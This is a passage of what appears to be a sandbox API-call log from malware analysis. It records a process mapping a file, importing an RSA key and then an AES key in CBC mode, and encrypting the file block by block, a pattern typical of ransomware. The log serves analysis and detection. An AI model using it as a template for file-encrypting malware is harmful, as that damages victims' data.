lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.842] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.842] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.844] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.844] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.844] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.844] CloseHandle (hObject=0x3c0) returned 1 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.844] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] GetTickCount () returned 0x115fe61 [0127.845] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0127.846] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0127.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.846] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.846] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.846] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.846] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.846] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0127.847] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0127.847] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 